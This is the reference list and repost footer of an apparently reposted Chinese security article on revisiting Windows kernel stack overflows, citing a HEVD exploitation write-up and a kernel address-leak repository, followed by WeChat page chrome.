https://kristal-g.github.io/2021/02/07/HEVD_StackOverflowGS_Windows_10_RS5_x64.htmlhttps://github.com/sam-b/windows_kernel_address_leaks/tree/3810bec445c0afaa4e23338241ba0359aea398d1
原文始发于微信公众号(securitainment):Windows Kernel 栈溢出回归
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论